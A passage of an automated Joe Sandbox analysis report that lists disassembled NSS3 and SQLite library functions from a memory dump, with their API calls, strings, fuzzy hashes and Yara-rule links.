Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C678072
SECOID_FindOID_Util.NSS3 ref: 6C6780F5

Part of subcall function 6C67BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C67800A,00000000,?,00000000,?), ref: 6C67BC3F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 92284eebdaaee7aec7f98fb6381188f5054d8a7ebfd739dc2a405ad150fab259
Instruction ID: c0e77db05d400ee3cd7b04bc6ed2c623e26d21e92a76221b059cd410f309e3ba
Opcode Fuzzy Hash: 92284eebdaaee7aec7f98fb6381188f5054d8a7ebfd739dc2a405ad150fab259
Instruction Fuzzy Hash: 5BE1A1716083009FD721CF28C984B5A77E5EF89308F144D2DE88A9BB61E731EC45CB6A

Function 6C601C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C601C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C601C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C601CA1
GetLengthSid.ADVAPI32(?), ref: 6C601CA9
malloc.MOZGLUE(00000000), ref: 6C601CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C601CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C601CE4
GetLengthSid.ADVAPI32(?), ref: 6C601CEC
malloc.MOZGLUE(00000000), ref: 6C601CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C601D0F
CloseHandle.KERNEL32(?), ref: 6C601D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C601D4D
GetLastError.KERNEL32 ref: 6C601D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C601D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C601D7A

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 31bbf0083c6111852e4ed239e0e2de53e1707881d0160451cf7dd0600410c57a
Instruction ID: c9f3960d843f2abf13e373dede0d4fc0e8452cd76d6677ecf113b5fb57179445
Opcode Fuzzy Hash: 31bbf0083c6111852e4ed239e0e2de53e1707881d0160451cf7dd0600410c57a
Instruction Fuzzy Hash: 653165B16003189FEF11AF65CD48BAA7BB8FF4A345F004179F609D2150E7305994CF69

Function 6C603D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C603DFB
__allrem.LIBCMT ref: 6C603EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C603FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C604047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6040DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C60415F
__allrem.LIBCMT ref: 6C60416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C604288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6042AB
__allrem.LIBCMT ref: 6C6042B7

Strings

%02d, xrefs: 6C604086
%04d, xrefs: 6C60407B
%lld, xrefs: 6C603FB2
%03d, xrefs: 6C6042E8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: f418a975d20ebf869cedc581752596b3c42fc646771f4ceaf5f8f9441e2e6011
Instruction ID: c905491f7941ab1536f92b3cd6cb6b7af1ca37c180748a1f51e40ff481ae87ae
Opcode Fuzzy Hash: f418a975d20ebf869cedc581752596b3c42fc646771f4ceaf5f8f9441e2e6011
Instruction Fuzzy Hash: 6DF13471B087409FD329CF38C940BABB7F6AFD6304F148A2DE485A7651E770E8458B4A

Function 6C60EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60EF63

Part of subcall function 6C6187D0: PORT_NewArena_Util.NSS3(00000800,6C60EF74,00000000), ref: 6C6187E8
Part of subcall function 6C6187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C60EF74,00000000), ref: 6C6187FD
Part of subcall function 6C6187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C61884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C60F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C60F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C60F374
PL_strcasecmp.NSS3(6C752FD4,?), ref: 6C60F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C60F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C60F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C60F67D
CERT_DestroyName.NSS3(?), ref: 6C60F68B

Part of subcall function 6C618320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C618338
Part of subcall function 6C618320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C618364
Part of subcall function 6C618320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C61838E
Part of subcall function 6C618320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6183A5
Part of subcall function 6C618320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6183E3

Part of subcall function 6C6184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6184D9
Part of subcall function 6C6184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C618528

Part of subcall function 6C618900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C618955

Strings

", xrefs: 6C60F21B
oid., xrefs: 6C60F2CF
*, xrefs: 6C60F3C6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 6e18500d378b19ea15af6dd36c73d05ad5e7a32e2708905e38e6c617040f0471
Instruction ID: f888f3fc4c1b199192311c7bfc071a6025d530cf23d59d0668243f1b5afdbaf8
Opcode Fuzzy Hash: 6e18500d378b19ea15af6dd36c73d05ad5e7a32e2708905e38e6c617040f0471
Instruction Fuzzy Hash: F322277170C3514BD718CE68C6903AAB7E6AB8531CF184A2EE4D5A7B91E7319C05C78F

Function 6C5B1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5B1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5B1FB7

Strings

no more rows available, xrefs: 6C5B2264
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5B1F83
another row available, xrefs: 6C5B2287
abort due to ROLLBACK, xrefs: 6C5B2223
attached databases must use the same text encoding as main database, xrefs: 6C5B20CA
sqlite_temp_master, xrefs: 6C5B1C5C
table, xrefs: 6C5B1C8B
sqlite_master, xrefs: 6C5B1C61
unknown error, xrefs: 6C5B2291
unsupported file format, xrefs: 6C5B2188

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: eb7df8225a1f81e2b9c20cbeda92fe845dc33f503f3f5bc931ee7222c12b2824
Instruction ID: 8876c0d058734baccf2bcf1adbe20e553aa223cd95dfdb263e26decb02925407
Opcode Fuzzy Hash: eb7df8225a1f81e2b9c20cbeda92fe845dc33f503f3f5bc931ee7222c12b2824
Instruction Fuzzy Hash: C212E5706083418FD705CF15CCA465ABBF2BF85318F1889ADE899ABB11D731EC45CB92

Function 6C5D5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C5D62F9
u, xrefs: 6C5D81DA
ON clause references tables to its right, xrefs: 6C5D6BEC
NOCASE, xrefs: 6C5D8703
2, xrefs: 6C5D65B4
BINARY, xrefs: 6C5D8708, 6C5D8737, 6C5D87B8
sub-select returns %d columns - expected %d, xrefs: 6C5D805F
-, xrefs: 6C5D6228

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 00dcf5ac88316e4843e73c2ab48ccccd5b7f423e6042ab31d53d1deb4f1a43d3
Instruction ID: fcbade82282e6ea50c1351fe4f5d717dcc03e9e3048a9687ccbb29f56796e795
Opcode Fuzzy Hash: 00dcf5ac88316e4843e73c2ab48ccccd5b7f423e6042ab31d53d1deb4f1a43d3
Instruction Fuzzy Hash: B74370746083418FD304CF19C890B1AB7E2FFC9358F168A6DE8998B756D731E846CB96

Function 6C67EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C67C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C67DAE2,?), ref: 6C67C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C67F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C74218C), ref: 6C67F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C67F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C67F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C67F210

Part of subcall function 6C6252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C67F1E9,?,00000000,?,?), ref: 6C6252F5
Part of subcall function 6C6252D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C62530F
Part of subcall function 6C6252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C625326
Part of subcall function 6C6252D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C67F1E9,?,00000000,?,?), ref: 6C625340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67F227

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C67F23E

Part of subcall function 6C66BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C61E708,00000000,00000000,00000004,00000000), ref: 6C66BE6A
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6204DC,?), ref: 6C66BE7E
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C66BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C67F3A8

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C67F3B3

Part of subcall function 6C622D20: PK11_DestroyObject.NSS3(?,?), ref: 6C622D3C
Part of subcall function 6C622D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C622D5F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: c46a01c9234aa0a881b677a06b6aab8443a13c1113e7de02e551b5489975f1f6
Instruction ID: 97efaf29a1089877eb63b7b89996fac22f523170837e6b14ecf4edb73e14ca0e
Opcode Fuzzy Hash: c46a01c9234aa0a881b677a06b6aab8443a13c1113e7de02e551b5489975f1f6
Instruction Fuzzy Hash: 5DD1B475E016059FDB20CFA9D880E9EB7F5FF48318F148829D915A7B11EB31E805CBA9

Function 6C6ADE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C687FFA,00000000,?,6C6B23B9,00000002,00000000,?,6C687FFA,00000002), ref: 6C6ADE33

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

Part of subcall function 6C6AD000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6ADE74,6C687FFA,00000002,?,?,?,?,?,00000000,6C687FFA,00000000,?,6C6B23B9,00000002), ref: 6C6AD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C687FFA,00000000,?,6C6B23B9,00000002,00000000,?,6C687FFA,00000002), ref: 6C6ADE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6ADEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6AE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6AE121
PK11_FreeSymKey.NSS3(?), ref: 6C6AE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6AE195
PR_GetCurrentThread.NSS3 ref: 6C6AE1FC

Part of subcall function 6C6A2460: PR_SetError.NSS3(FFFFE005,00000000,6C747379,00000002,?), ref: 6C6A2493

Strings

application data, xrefs: 6C6ADFE0
early application data, xrefs: 6C6ADFC9
key, xrefs: 6C6AE046
handshake data, xrefs: 6C6ADFF7

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 25a4a34c1f0846cfae69266f34398c33849eb5adcf1ca83f438f17e383828da6
Instruction ID: fe6fc8a68441e7f626f0638cfcf0856b98bdcd3d3e3e89f6d98949c61ade4908
Opcode Fuzzy Hash: 25a4a34c1f0846cfae69266f34398c33849eb5adcf1ca83f438f17e383828da6
Instruction Fuzzy Hash: E1C10871A002159BDB04CFA5CC80BEAB7B4FF09308F044139ED199BA51E731ED66CBA9

Function 6C59ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C59EF98

Strings

%s at line %d of [%.10s], xrefs: 6C59F492
database corruption, xrefs: 6C59F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59F483

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 31a380a66381bbd91aff1e9d75048485f24390dcdccf273d9f880890470d72dc
Instruction ID: 7b0eff145edf92bd7253117d83fece317cd7355351d4a844a7d4fb2ab847b0b3
Opcode Fuzzy Hash: 31a380a66381bbd91aff1e9d75048485f24390dcdccf273d9f880890470d72dc
Instruction Fuzzy Hash: A062EF70A04285CFDB04CF65CC84B9ABBB1BF45318F1846DDE8465BB92D775E886CB90

Function 6C63FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C63FD06

Part of subcall function 6C63F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C63F696
Part of subcall function 6C63F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C63F789
Part of subcall function 6C63F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C63F796
Part of subcall function 6C63F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C63F79F
Part of subcall function 6C63F670: SECITEM_DupItem_Util.NSS3 ref: 6C63F7F0

Part of subcall function 6C663440: PK11_GetAllTokens.NSS3 ref: 6C663481
Part of subcall function 6C663440: PR_SetError.NSS3(00000000,00000000), ref: 6C6634A3
Part of subcall function 6C663440: TlsGetValue.KERNEL32 ref: 6C66352E
Part of subcall function 6C663440: EnterCriticalSection.KERNEL32(?), ref: 6C663542
Part of subcall function 6C663440: PR_Unlock.NSS3(?), ref: 6C66355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C63FDAD

Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C619003,?), ref: 6C66FD91
Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(A4686C67,?), ref: 6C66FDA2
Part of subcall function 6C66FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C67,?,?), ref: 6C66FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C63FE00

Part of subcall function 6C66FD80: free.MOZGLUE(00000000,?,?), ref: 6C66FDD1

Part of subcall function 6C65E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C65E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C63FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C63FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C63FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C63FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C63FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C63FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C640007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C640029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C640044

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 15722ce65397bbcca42210c490de9b427b868f8d7392738571868770a0788586
Instruction ID: 0ccc280fe6435d20bb5451b950237cedf79fb826ba4af9ec6862b4dc02ab58fe
Opcode Fuzzy Hash: 15722ce65397bbcca42210c490de9b427b868f8d7392738571868770a0788586
Instruction Fuzzy Hash: BBB1E5B1604311AFE304CF29CC40A6AB7E5FF89308F549A6DF95D87A81E730E944CB56

Function 6C637D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C637DDC

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C637DF3
